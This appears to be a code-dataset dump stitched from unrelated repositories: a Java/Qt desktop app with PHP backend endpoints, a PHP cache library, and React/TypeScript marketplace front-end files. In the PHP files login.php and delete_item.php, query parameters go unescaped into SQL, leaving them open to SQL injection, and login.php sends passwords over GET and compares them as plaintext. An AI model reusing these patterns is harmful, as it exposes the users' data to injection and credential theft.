public abstract class OkDialog extends Dialog {
protected QPushButton okBtn;
protected OkDialog() {
super();
okBtn = new QPushButton(IconResources.ACTION_ICON, getOkBtnCaption());
}
@Override
protected QWidget buildButtons() {
QDialogButtonBox box = new QDialogButtonBox();
box.addButton(okBtn, QDialogButtonBox.ButtonRole.AcceptRole);
okBtn.clicked.connect(this, "onOkBtnClicked()");
return box;
}
protected void onOkBtnClicked() throws Exception {
close();
setResult(DialogCode.Accepted.value());
}
protected String getOkBtnCaption() {
return I18n.OK;
}
}
<file_sep>/pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>pl.lss.cjambi</groupId>
<artifactId>CJambi</artifactId>
<version>LASTEST</version>
<packaging>jar</packaging>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>1.7</maven.compiler.source>
<maven.compiler.target>1.7</maven.compiler.target>
</properties>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>2.5.1</version>
<configuration>
<source>1.7</source>
<target>1.7</target>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-shade-plugin</artifactId>
<version>1.7.1</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>shade</goal>
</goals>
</execution>
</executions>
<configuration>
<shadedArtifactAttached>true</shadedArtifactAttached>
<shadedClassifierName>shaded</shadedClassifierName>
<transformers>
<transformer implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer">
<mainClass>pl.lss.cjambi.ccms.controller.MainEntryPoint</mainClass>
</transformer>
</transformers>
</configuration>
</plugin>
<plugin>
<groupId>com.akathist.maven.plugins.launch4j</groupId>
<artifactId>launch4j-maven-plugin</artifactId>
<version>1.5.1</version>
<executions>
<execution>
<id>l4j-clui</id>
<phase>package</phase>
<goals>
<goal>launch4j</goal>
</goals>
<configuration>
<headerType>gui</headerType>
<jar>${project.build.directory}/${project.artifactId}-${project.version}-shaded.jar</jar>
<outfile>${project.build.directory}/CCMS.exe</outfile>
<downloadUrl>http://java.com/download</downloadUrl>
<classPath>
<mainClass>pl.lss.cjambi.ccms.controller.MainEntryPoint</mainClass>
<preCp>anything</preCp>
</classPath>
<icon>src/main/resources/images/app_icon.ico</icon>
<jre>
<minVersion>1.7.0</minVersion>
<jdkPreference>preferJre</jdkPreference>
</jre>
<versionInfo>
<fileVersion>1.0.0.0</fileVersion>
<txtFileVersion>${project.version}</txtFileVersion>
<fileDescription>${project.name}</fileDescription>
<copyright>CCMS 2015</copyright>
<productVersion>1.0.0.0</productVersion>
<txtProductVersion>1.0.0.0</txtProductVersion>
<productName>${project.name}</productName>
<companyName>CCMS</companyName>
<internalName>CCMS</internalName>
<originalFilename>CCMS ${project.version}.exe</originalFilename>
</versionInfo>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>pl.lss.cjambi</groupId>
<artifactId>qtjambi</artifactId>
<version>4.8.6</version>
</dependency>
<dependency>
<groupId>pl.lss.cjambi</groupId>
<artifactId>qtjambi-native-win64-msvc2012x64</artifactId>
<version>4.8.6</version>
</dependency>
<dependency>
<groupId>pl.lss.cjambi</groupId>
<artifactId>qtjambi-native-win32-msvc2012-4.8.6</artifactId>
<version>4.8.6</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.10</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>com.j256.ormlite</groupId>
<artifactId>ormlite-core</artifactId>
<version>4.48</version>
</dependency>
<dependency>
<groupId>com.j256.ormlite</groupId>
<artifactId>ormlite-jdbc</artifactId>
<version>4.48</version>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.36</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>1.7.12</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-simple</artifactId>
<version>1.7.12</version>
</dependency>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.17</version>
</dependency>
</dependencies>
</project><file_sep>/src/main/java/pl/lss/cjambi/ccms/view/VBoxWidget.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package pl.lss.cjambi.ccms.view;
import com.trolltech.qt.gui.QVBoxLayout;
import com.trolltech.qt.gui.QWidget;
/**
*
* @author ctran
*/
public class VBoxWidget extends QWidget {
protected QVBoxLayout layout = new QVBoxLayout(this);
public void addWidget(QWidget widget) {
layout.addWidget(widget);
}
}
<file_sep>/ccms/db_config_az.php
<?php
/*
* All database connection variables
*/
$mysql_hostname = "mn11.webd.pl";
$mysql_user = "ccms_ccms";
$mysql_password = "<PASSWORD>";
$mysql_database = "ccms_ccms";
$conn = mysqli_connect($mysql_hostname, $mysql_user, $mysql_password, $mysql_database);
/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}
?><file_sep>/src/main/java/pl/lss/cjambi/ccms/utils/converter/IntegerToStringConverter.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package pl.lss.cjambi.ccms.utils.converter;
import pl.lss.cjambi.ccms.utils.Utils;
/**
*
* @author ctran
*/
public class IntegerToStringConverter implements Converter<Integer, String> {
private Integer defaultValue;
public IntegerToStringConverter() {
this(null);
}
public IntegerToStringConverter(Integer defaultValue) {
this.defaultValue = defaultValue;
}
@Override
public Integer toData(String presentation) throws NumberFormatException {
try {
return Utils.parseIntOrDefaultIfEmpty(defaultValue, presentation.trim());
} catch (NumberFormatException ex) {
throw ex;
}
}
@Override
public String toPresentation(Integer data) {
return Utils.toStringOrDefaultIfNull(defaultValue, data);
}
}
<file_sep>/src/main/java/pl/lss/cjambi/ccms/view/dialog/DialogErrorReporter.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package pl.lss.cjambi.ccms.view.dialog;
import pl.lss.cjambi.ccms.view.dialog.InformationDialog;
/**
*
* @author ctran
*/
public class DialogErrorReporter implements ErrorReporter {
private static final DialogErrorReporter instance = new DialogErrorReporter();
public static ErrorReporter getInstance() {
return instance;
}
@Override
public void error(String message) {
InformationDialog.getInstance()
.setType(InformationDialog.InformationType.ERROR)
.setMessage(message).exec();
}
}
<file_sep>/src/main/java/pl/lss/cjambi/ccms/utils/SplittedString.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package pl.lss.cjambi.ccms.utils;
/**
*
* @author ctran
*/
public class SplittedString {
public String first;
public String last;
public SplittedString(String s, String seperator) {
int i = s.indexOf(seperator);
if (i < 0) {
first = s;
} else {
first = s.substring(0, i);
last = s.substring(i + 1);
}
}
}
<file_sep>/src/main/java/pl/lss/cjambi/ccms/view/widget/DateEdit.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package pl.lss.cjambi.ccms.view.widget;
import com.trolltech.qt.core.QDate;
import com.trolltech.qt.gui.QCalendarWidget;
import com.trolltech.qt.gui.QDateEdit;
/**
*
* @author ctran
*/
public class DateEdit extends QDateEdit implements HasState {
private QCalendarWidget calenderWidget = new QCalendarWidget();
public DateEdit() {
setCalendarPopup(true);
setCalendarWidget(calenderWidget);
}
@Override
public Object getState() {
return date();
}
@Override
public void setState(Object obj) {
setDate((QDate) obj);
}
}
<file_sep>/ccms/login.php
<?php
error_reporting(0);
include("db_config.php");
$username=$_GET['username'];
$password=$_GET['<PASSWORD>'];
// array for JSON response
$response = array();
// get all items from myorder table
$result = mysqli_query($conn, "SELECT initial, uuid, company_id FROM `user` u left join `office` o on u.office_id = o.id WHERE isActive = 1 AND BINARY username = '$username' AND BINARY password = '$<PASSWORD>'") or die(mysqli_error($conn));
if (mysqli_num_rows($result) > 0) {
while ($row = mysqli_fetch_array($result)) {
$response['initial'] = $row['initial'];
$response['uuid'] = $row['uuid'];
$response['companyId'] = $row['company_id'];
}
// success
$response["success"] = 1;
}
else {
// order is empty
$response["success"] = 0;
$response["message"] = "No User Found";
}
// echoing JSON response
echo json_encode($response);
mysqli_close($db);
?><file_sep>/ccms/delete_item.php
<?php
error_reporting(0);
include("db_config.php");
$uuid = $_GET['uuid'];
$id = $_GET['id'];
// array for JSON response
$response = array();
$result = mysqli_query($conn, "SELECT 1 FROM user WHERE BINARY uuid = '$uuid'") or die(mysqli_error($conn));
if (mysqli_num_rows($result) > 0 ) {
$result = mysqli_query($conn, "UPDATE `item` SET isActive = 0 WHERE id = $id") or die(mysqli_error($conn));
$response['success'] = 1;
} else {
$response['success'] = 0;
}
echo json_encode($response);
mysqli_close($conn);
?><file_sep>/src/main/java/pl/lss/cjambi/ccms/bean/Tax.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package pl.lss.cjambi.ccms.bean;
import com.j256.ormlite.field.DatabaseField;
import com.j256.ormlite.table.DatabaseTable;
/**
*
* @author ctran
*/
@DatabaseTable
public class Tax {
public static final String NAME_FIELD = "name";
@DatabaseField(generatedId = true)
public Integer id;
@DatabaseField
public String name;
@DatabaseField
public Integer value;
public Tax() {
}
}
|
4dd7b903596a376abd5eac8ac5202cb0a34e9ce2
|
[
"Java",
"Maven POM",
"PHP"
] | 32 |
Java
|
ccheroict/CJambi
|
ec4a6bad3019c8141f53d8b2bc442749bb389ef9
|
9ca4cb3685ea2b36cb8bd0612bf1bd7cf7b98813
|
refs/heads/master
|
<file_sep><?php
namespace Floxim\Cache\Storage;
/**
* Cache with storage array
*
* @package Floxim\Cache\Storage
*/
class ArrayKeys extends AbstractStorage
{
/**
* Storage array
*
* @var array
*/
protected $storage = array();
/**
* Get value from cache
*
* @param $key
*
* @return bool|mixed
*/
protected function getValue($key)
{
if (array_key_exists($key, $this->storage)) {
return $this->storage[$key];
}
return false;
}
/**
* Save value in cache
*
* @param $key
* @param $value
* @param int $time
* @param array $tags
*
* @return mixed|void
*/
protected function setValue($key, $value, $time = 0, $tags = array())
{
$this->storage[$key] = $value;
}
/**
* Remove value from cache
*
* @param $key
*
* @return mixed|void
*/
protected function deleteValue($key)
{
unset($this->storage[$key]);
}
/**
* Clear data from cache
*
* @param int $type
* @param array $tags
*
* @return mixed|void
* @throws \Exception
*/
protected function flushValues($type = self::FLUSH_TYPE_ALL, $tags = array())
{
if ($type == self::FLUSH_TYPE_ALL) {
$this->storage = array();
} else {
throw new \Exception('Cache ArrayKey support only flush all data');
}
}
}<file_sep><?php
namespace Floxim\Cache\Storage;
use ReflectionObject;
/**
* Abstract cache storage
*
* @package Floxim\Cache\Storage
*/
abstract class AbstractStorage implements \ArrayAccess
{
/**
* Flush all data
*/
const FLUSH_TYPE_ALL = 1;
/**
* Flush only oldest data
*/
const FLUSH_TYPE_ONLY_OLD = 2;
/**
* Flush by tags
*/
const FLUSH_TYPE_TAGS = 3;
/**
* Prefix for keys
*
* @var string
*/
public $keyPrefix = '';
/**
* Used serializer before save data
*
* @var bool
*/
public $useSerializer = true;
/**
* Constructor
*
* @param array $params
*/
public function __construct($params = array())
{
if ($params) {
$reflect = new ReflectionObject($this);
foreach ($params as $name => $value) {
if ($reflect->hasProperty($name) and $property = $reflect->getProperty($name) and $property->isPublic()) {
$this->$name = $value;
}
}
}
}
/**
* Init storage
*
*/
public function init()
{
}
/**
* Set prefix for keys
*
* @param $prefix
*/
public function setKeyPrefix($prefix)
{
$this->keyPrefix = $prefix;
}
/**
* Get prefix for keys
*
* @return string
*/
public function getKeyPrefix()
{
return $this->keyPrefix;
}
/**
* Make key for save
*
* @param mixed $key
*
* @return string
*/
public function buildKey($key)
{
if (is_string($key)) {
$key = md5($this->keyPrefix . $key);
} else {
$key = md5($this->keyPrefix . json_encode($key));
}
return $key;
}
/**
* Get data from cache
*
* @param $key
*
* @return mixed
*/
public function get($key)
{
$key = $this->buildKey($key);
$value = $this->getValue($key);
if ($value === false || !$this->useSerializer) {
return $value;
}
return @unserialize($value);
}
/**
* Check exists data in cache
*
* @param $key
*
* @return bool
*/
public function exists($key)
{
$key = $this->buildKey($key);
$value = $this->getValue($key);
return $value !== false;
}
/**
* Stored data in cache
*
* @param $key
* @param $value
* @param int $time Expiration time in seconds
* @param array $tags Tags list
*
* @return mixed
*/
public function set($key, $value, $time = 0, $tags = array())
{
if ($this->useSerializer) {
$value = serialize($value);
}
$key = $this->buildKey($key);
return $this->setValue($key, $value, $time, $tags);
}
/**
* Remove data from cache
*
* @param $key
*
* @return mixed
*/
public function delete($key)
{
$key = $this->buildKey($key);
return $this->deleteValue($key);
}
/**
* Clear data in cache
*
* @param int $type self::FLUSH_TYPE_ALL | self::FLUSH_TYPE_ONLY_OLD | self::FLUSH_TYPE_TAGS
* @param array $tags
*
* @return mixed
*/
public function flush($type = self::FLUSH_TYPE_ALL, $tags = array())
{
return $this->flushValues($type, $tags);
}
/**
* Check and save (if not exists) data in cache
*
* @param $key
* @param callable $callback
* @param $time
* @param array $tags
*
* @return mixed
*/
public function remember($key, \Closure $callback, $time = 0, $tags = array())
{
//if ($use_cache) {
if ($time === false) {
return $callback();
}
if (false !== ($value = $this->get($key))) {
return $value;
}
$this->set($key, $value = $callback(), $time, $tags);
return $value;
}
/**
* Implementation ArrayAccess interface
*
* @param mixed $key
*
* @return bool
*/
public function offsetExists($key)
{
return $this->exists($key);
}
/**
* Implementation ArrayAccess interface
*
* @param mixed $key
*
* @return mixed
*/
public function offsetGet($key)
{
return $this->get($key);
}
/**
* Implementation ArrayAccess interface
*
* @param mixed $key
* @param mixed $value
*/
public function offsetSet($key, $value)
{
$this->set($key, $value);
}
/**
* Implementation ArrayAccess interface
*
* @param mixed $key
*/
public function offsetUnset($key)
{
$this->delete($key);
}
/**
* Get raw value from cache
*
* @param $key
*
* @return mixed
*/
abstract protected function getValue($key);
/**
* Save value in cache
*
* @param $key
* @param $value
* @param int $time
* @param array $tags
*
* @return mixed
*/
abstract protected function setValue($key, $value, $time = 0, $tags = array());
/**
* Remove value from cache
*
* @param $key
*
* @return mixed
*/
abstract protected function deleteValue($key);
/**
* Clear values in cache
*
* @param int $type
* @param array $tags
*
* @return mixed
*/
abstract protected function flushValues($type = self::FLUSH_TYPE_ALL, $tags = array());
}<file_sep><?php
namespace Floxim\Cache\Storage;
/**
* No cache storage
*
* @package Floxim\Cache\Storage
*/
class Dummy extends AbstractStorage
{
/**
* Get value from cache
*
* @param $key
*
* @return bool
*/
protected function getValue($key)
{
return false;
}
/**
* Save value in cache
*
* @param $key
* @param $value
* @param int $time
* @param array $tags
*
* @return void
*/
protected function setValue($key, $value, $time = 0, $tags = array())
{
}
/**
* Remove value from cache
*
* @param $key
*
* @return mixed|void
*/
protected function deleteValue($key)
{
}
/**
* Clear data from cache
*
* @param int $type
* @param array $tags
*
* @return mixed|void
* @throws \Exception
*/
protected function flushValues($type = self::FLUSH_TYPE_ALL, $tags = array())
{
}
}<file_sep><?php
namespace Floxim\Cache;
/**
* Cache manager
*
* @package Floxim\Cache
*/
class Manager
{
/**
* Storage repository
*
* @var array
*/
protected $storages = array();
/**
* Default prefix for keys
*
* @var string
*/
protected $keyPrefix = '';
/**
* The storage to be used by default if the manager can't find proper storage by name
* @var Storage\AbstractStorage|null
*/
protected $defaultStorage = null;
/**
* Get storage use repository
*
* @param string $name
* @param array $params
*
* @return Storage\AbstractStorage|null
* @throws \Exception
*/
public function getStorage($name, $params = array())
{
/**
* Check repository
*/
$lower_name = strtolower($name);
if (isset($this->storages[$lower_name])) {
return $this->storages[$lower_name];
}
/**
* Create new storage
*/
if (isset($params['class'])) {
$class = $params['class'];
unset($params['class']);
} else {
$class = '\\Floxim\\Cache\\Storage\\' . ucfirst($name);
}
if ( ($storage = $this->createStorage($class, $params)) ) {
return $this->storages[$lower_name] = $storage;
}
if (!is_null($this->defaultStorage)) {
return $this->defaultStorage;
}
throw new \Exception('Not found storage - ' . $class);
}
/**
* Create storage
*
* @param string $class
* @param array $params
*
* @return Storage\AbstractStorage|null
*/
public function createStorage($class, $params = array())
{
if (!$class) {
return null;
}
if (class_exists($class)) {
$storage = new $class($params);
$storage->init();
if (!$storage->getKeyPrefix() and $this->getKeyPrefix()) {
$storage->setKeyPrefix($this->getKeyPrefix());
}
return $storage;
}
return null;
}
/**
* Set up the storage which will be used by default
* @param \Floxim\Cache\Storage\AbstractStorage $storage
*/
public function setDefaultStorage(Storage\AbstractStorage $storage)
{
$this->defaultStorage = $storage;
}
/**
* Set key prefix
*
* @param string $prefix
*/
public function setKeyPrefix($prefix)
{
$this->keyPrefix = $prefix;
}
/**
* Get key prefix
*
* @return string
*/
public function getKeyPrefix()
{
return $this->keyPrefix;
}
}
|
450212a8c9429b4fb8dd381de1340ef08597138a
|
[
"PHP"
] | 4 |
PHP
|
Floxim/floxim-cache
|
b024f4d582d6705fe4747d95ee8256b021b62301
|
206f9724278e9cb0b8ae9d94fd42334714a711f4
|
refs/heads/master
|
<file_sep>import styled from 'styled-components';
import { Dropdown } from 'semantic-ui-react';
export const Container = styled.div`
display: flex;
flex-direction: column;
margin-top: 135px;
width: 950px;
@media (max-width: 480px) {
margin-top: 30px;
width: 100vw;
h3 {
text-align: center;
}
}
`;
export const ResultSearch = styled.div`
display: flex;
flex-wrap: wrap;
@media (max-width: 480px) {
justify-content: center;
align-items: center;
}
`;
export const StyledDropdown = styled(Dropdown)`
width: 450px !important;
margin-bottom: 10px;
@media (max-width: 480px) {
width: 90vw !important;
margin: 0 auto !important;
}
`;
<file_sep>export const settings = {
infinite: true,
slidesToShow: 4,
slidesToScroll: 4,
centerPadding: '10px',
responsive: [
{
breakpoint: 1024,
settings: {
slidesToShow: 3,
slidesToScroll: 3,
infinite: true,
arrows: false,
},
},
{
breakpoint: 768,
settings: {
slidesToShow: 2,
slidesToScroll: 2,
arrows: false,
},
},
{
breakpoint: 480,
settings: {
slidesToShow: 1,
slidesToScroll: 1,
arrows: false,
},
},
],
};<file_sep>import React, { useState } from 'react';
import axios from 'axios';
import { useForm } from 'react-hook-form';
import { useDispatch } from 'react-redux';
import { useHistory } from 'react-router-dom';
import { requestUserInfo } from '../../redux/actions/session';
import { Form } from 'semantic-ui-react';
import FormField from '../../components/form-field';
import FormContainer from '../../components/form-container';
import logo_image from '../../media/img/logotipo.png';
import * as Styled from './styles';
interface IFormInputs {
username: string;
password: string | number;
email: string;
values: string;
}
const Login: React.FC = () => {
const { register, handleSubmit, errors } = useForm<IFormInputs>();
const dispatch = useDispatch();
const [requestError, setRequestError] = useState('');
const history = useHistory();
const onSubmit = (values: IFormInputs) => {
axios
.post('https://capstone-q2.herokuapp.com/login', values)
.then(({ data }) => {
dispatch(requestUserInfo(data.accessToken));
localStorage.setItem('token', data.accessToken);
history.push('/');
})
.catch(({ response }) => {
if (response?.status === 400) {
return setRequestError('E-Mail ou Senha incorretos.');
}
return setRequestError('Ops, aconteceu algo de errado!');
});
};
return (
<>
<FormContainer
props={
<>
<Styled.ImgForm src={logo_image} />
<Form onSubmit={handleSubmit(onSubmit)}>
<FormField
required
name="email"
label="E-Mail"
inputPlace="Digite seu E-Mail"
inputRef={register({
required: 'E-mail é obrigatório',
pattern: {
value: /^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,}$/i,
message: 'Isso não se parece com um e-mail!',
},
})}
error={errors.email}
/>
<FormField
required
name="password"
type="password"
label="Senha"
inputPlace="Digite sua Senha"
inputRef={register({
required: 'Senha Necessária',
minLength: {
value: 6,
message: 'Senha muito curta!',
},
})}
error={errors.password}
/>
<Styled.ButtonForm type="submit">Fazer Login</Styled.ButtonForm>
</Form>
<Styled.LinkForm to="/register">
<h3> Não possui conta? Registrar-se </h3>
</Styled.LinkForm>
<Styled.Error>{requestError}</Styled.Error>
</>
}
/>
</>
);
};
export default Login;
<file_sep>import CommentSection from './comment-section';
export { CommentSection };
<file_sep>import React from "react";
import renderer from "react-test-renderer";
import TopBar from "../index";
import "jest-styled-components";
import "mutationobserver-shim";
global.MutationObserver = window.MutationObserver;
jest.mock("react-redux", () => ({
useSelector: () => jest.fn()
}))
describe("TopBar", () => {
it("Should render menu", () => {
const tree = renderer.create(<TopBar />).toJSON();
expect(tree).toMatchSnapshot();
});
});<file_sep>export interface Product {
[x: string]: any;
}
export interface Data {
[x: string]: any;
}
export interface TokenDecoded {
sub: number;
userId: number;
exp: Date;
}
export interface Subcategoria {
name: string;
content: string[];
}
export interface Session {
session: { token: string };
}
<file_sep>import { Home, Login, Register, UserSearch, ProductPage, UserSales, CategorieSearch, UserFavorites, NewProduct} from '../../pages';
import ChangeProfile from '../change-profile';
export const routesNotAuth = [
{ path: '/', name: 'Home', page: Home },
{ path: '/login', name: 'Login', page: Login },
{ path: '/register', name: 'Register', page: Register },
{ path: '/new-product', name: 'New Product', page: NewProduct }, // on Auth for testing purposes only
{ path: '/user-search/:search', name: 'UserSearch', page: UserSearch },
{ path: '/category/:name', name: 'CaregorieSearch', page: CategorieSearch },
{ path: '/products/:id', name: 'ProductPage', page: ProductPage },
// { path: '/my-sales', name: 'UserSales', page: UserSales },
{ path: '/change-profile', name: 'ChangeProfile', page: ChangeProfile },
{ path: '/favorites', name: 'UserFavorites', page: UserFavorites },
];
<file_sep>import styled from 'styled-components';
import { Input } from 'semantic-ui-react';
export const StyledMenu = styled.div`
width: 100%;
max-width: 1200px;
height: 85px;
position: absolute;
z-index: 1;
top: 0;
display: flex;
justify-content: center;
background: #ffffff;
padding-top: 15px;
@media (max-width: 480px) {
height: 100px;
position: relative;
}
`;
export const StyledMenuLeft = styled.div`
width: 15%;
min-width: 123px;
@media (max-width: 480px) {
width: 40%;
position: absolute;
top: 0;
left: 30%;
display: flex;
justify-content: center;
align-items: center;
}
`;
export const StyledMenuCenter = styled.div`
width: 55%;
@media (max-width: 480px) {
width: 100%;
height: 50px;
position: absolute;
top: 50px;
left: 0;
}
`;
export const StyledMenuRight = styled.div`
width: 30%;
font-size: 32px;
display: flex;
justify-content: flex-end;
.favorite {
width: 30px;
height: 30px;
margin-top: 2px;
margin-left: 5px;
cursor: pointer;
}
.message {
width: 30px;
height: 30px;
margin-top: 2px;
margin-left: 5px;
cursor: pointer;
}
@media (max-width: 1300px) {
font-size: 20px;
}
@media (max-width: 880px) {
font-size: 20px;
}
@media (max-width: 480px) {
width: 30%;
height: 50px;
position: absolute;
top: 0;
right: 0;
display: flex;
justify-content: center;
align-items: center;
font-size: 32px;
margin-right: 0px;
.web {
display: none;
}
}
`;
export const StyledIcons = styled.div`
margin: 10px 12px;
display: flex;
flex-direction: row;
.dropdown-mobile {
display: none;
}
@media (max-width: 880px) {
margin-top: 20px;
}
@media (max-width: 480px) {
margin: 10px 15px;
.dropdown-desktop {
display: none;
}
.dropdown-mobile {
display: block;
}
}
`;
export const StyledLogo = styled.img`
width: 180px;
cursor: pointer;
@media (max-width: 480px) {
width: 120px;
margin-top: 0;
}
`;
export const StyledSearch = styled(Input)`
width: 70%;
top: 12px;
left: 70px;
cursor: pointer;
input {
background: #f4f4f6 !important;
color: var(--primary-dark) !important;
border-radius: 30px !important;
border: 1px solid darkgrey !important;
}
@media (max-width: 480px) {
width: 90%;
left: 5%;
top: 5px;
}
`;
export const StyledButton = styled.button`
width: 140px;
height: 40px;
margin-top: 8px;
background: var(--primary);
color: #ffffff;
font-weight: bold;
font-size: 14px;
border: none;
border-radius: 5px;
cursor: pointer;
@media (max-width: 1000px) {
margin-left: 20px;
}
@media (max-width: 880px) {
width: 60px;
height: 30px;
margin-top: 15px;
margin-left: 0px;
font-size: 10px;
}
@media (max-width: 480px) {
margin: 0;
width: 100px;
}
&:hover {
box-shadow: -2px 2px 5px 0px rgba(0, 0, 0, 0.75);
transition: background-color 0.3s;
background-color: #7252f2;
}
`;
export const StyledReverseButton = styled(StyledButton)`
margin-left: 5px;
color: var(--primary);
background: #ffffff;
cursor: pointer;
@media (max-width: 480px) {
display: none;
}
&:hover {
box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0.75);
background: rgba(128, 128, 128, 0.178);
}
`;
export const StyledUser = styled.img`
border-radius: 50%;
width: 35px;
height: 35px;
border: 1px solid black;
cursor: pointer;
@media (max-width: 880px) {
width: 20px;
height: 20px;
}
@media (max-width: 480px) {
width: 32px;
height: 32px;
}
`;
<file_sep>import React, { useEffect, useState } from 'react';
import { useHistory } from 'react-router-dom';
import { useDispatch, useSelector } from 'react-redux';
import { RootState } from '../../redux/reducers';
import { AiFillHeart, AiOutlineHeart } from 'react-icons/ai';
import { Container, ResultSearch, CardContainer, StyledHeart } from './styles';
import Swal from 'sweetalert2';
import * as Styled from '../../components/card/styles';
import { Popup } from 'semantic-ui-react';
import axios from 'axios';
import { requestUserInfo } from '../../redux/actions/session';
const UserFavorites: React.FC = () => {
const [message, setMessage] = useState(false);
const token = useSelector(({ session }: RootState) => session.token);
const currentUser = useSelector(({ session }: RootState) => session.currentUser);
const history = useHistory();
const dispatch = useDispatch();
const url = `https://capstone-q2.herokuapp.com/users/${currentUser.id}`;
const handleRemoveFavorite = (id: string) => {
const filterID: any = currentUser.favorites.filter((product: any) => product.id !== id);
axios
.patch(
url,
{ favorites: filterID },
{
headers: {
Authorization: `Bearer ${token}`,
},
}
)
.then(() => {
dispatch(requestUserInfo(token));
Swal.fire({
position: 'top-end',
icon: 'success',
title: 'Produto removido com sucesso!',
showConfirmButton: false,
timer: 1300,
});
})
.catch((err) => console.log(err));
};
useEffect(() => {
if (currentUser.favorites === undefined || currentUser.favorites.length == 0) {
setMessage(true);
} else {
setMessage(false);
}
}, []);
console.log(currentUser.favorites)
const goProductPage = (id: string) => {
{
id === 'unique_id' ? history.push('/') : history.push(`/products/${id}`);
}
};
return (
<Container>
<h3> Favoritos </h3>
{message && <h4> Você não possui nenhum produto como favorito</h4>}
<ResultSearch>
{currentUser.favorites &&
Object.values(currentUser.favorites).map((product: any, key) => {
return (
<>
<CardContainer>
<Styled.Card key={key}>
<img
src={product.thumbnail}
onClick={() => goProductPage(product.id)}
alt="card"
/>
<div>
<Popup content={product.name} trigger={<strong>{product.name}</strong>} />
<p>{`${product.category} / ${product.subCategory}`}</p>
</div>
</Styled.Card>
<StyledHeart>
<div className="iconFavored">
<AiFillHeart />
</div>
<div className="iconDisfavor" onClick={() => handleRemoveFavorite(product.id)}>
<AiOutlineHeart />
</div>
</StyledHeart>
</CardContainer>
</>
);
})}
</ResultSearch>
</Container>
);
};
export default UserFavorites;
<file_sep>import styled from 'styled-components';
import { Table as SemanticTable } from 'semantic-ui-react';
export const Container = styled.div`
margin-top: 110px;
display: flex;
flex-direction: row;
width: 98%;
justify-content: space-between;
@media (max-width: 1000px) {
flex-direction: column;
align-items: center;
}
@media (max-width: 480px) {
margin-top: 15px;
}
`;
export const UserInfo = styled.div`
margin-top: 12px;
text-align: center;
width: 17%;
display: flex;
flex-direction: column;
align-items: center;
@media (max-width: 1000px) {
margin-top: 20px;
margin-bottom: 40px;
width: 24%;
}
@media (max-width: 750px) {
width: 45%;
}
img {
width: 124px;
height: 118px;
display: block;
margin: 10px;
border:3px solid black;
border-radius: 500px;
-webkit-border-radius: 500px;
-moz-border-radius: 500px;
}
section {
margin: 12px 0 15px 0;
font-size: 13px;
}
`;
export const ProfileButtonActive = styled.button`
background: var(--primary);
display: block;
width: 100%;
border: none;
border-radius: 7px;
height: 35px;
width: 210px;
color: white;
font-weight: 700;
font-size: 13px;
margin-bottom: 7px;
cursor: pointer;
&:hover {
box-shadow: -2px 2px 5px 0px rgba(0, 0, 0, 0.75);
transition: background-color 0.3s;
background-color: #7252f2;
}
`;
export const ProfileButton = styled(ProfileButtonActive)`
background-color: #fff;
/* margin-top:0; */
color: #000;
&:hover {
box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0.75);
background: rgba(128, 128, 128, 0.178);
}
`;
export const SettingsButton = styled(ProfileButton)`
background-color: #fff;
/* margin-top:0; */
color: #000;
&:hover {
box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0.75);
background: rgba(128, 128, 128, 0.178);
}
`;
export const SettingsButtonActive = styled(ProfileButtonActive)`
`;
export const ButtonsWrapper = styled.div`
display: flex;
width: 100%;
justify-content: space-evenly;
`;
export const RemoveButton = styled.button`
white-space: break-spaces;
justify-content: center;
width: 91px;
height: 23px;
font-weight: 700;
background-color: #ea4326;
padding: 4px;
color: white;
border: none;
border-radius: 7px;
display: flex;
transition: background-color 0.3s;
&:hover {
background-color: #c60000;
cursor: pointer;
}
`;
export const CardWrapper = styled.div`
display: flex;
flex-direction: column;
align-items: center;
`;
export const Empty = styled.div`
width: 80%;
margin-top: 27px;
display: flex;
flex-direction: column;
align-items: center;
img {
margin-top: 60px;
width: 60%;
}
@media (max-width: 700px) {
img {
width: 300px;
}
h2 {
font-size: 16px;
}
}
`;
export const LoadingContainer = styled.div`
width: 100%;
padding-top: 100px;
width: 100%;
`;
export const TableContainer = styled.div`
@media(max-width:1200px) {
width:100vw;
overflow-x:scroll;
}
`;
export const Table = styled(SemanticTable)`
border: none !important;
margin-left: 20px !important;
img {
width: 50px;
height: 50px;
}
`;
<file_sep>import styled from 'styled-components';
export const Container = styled.div`
width: 100vw;
height: 100vh;
background-color: #fff;
a {
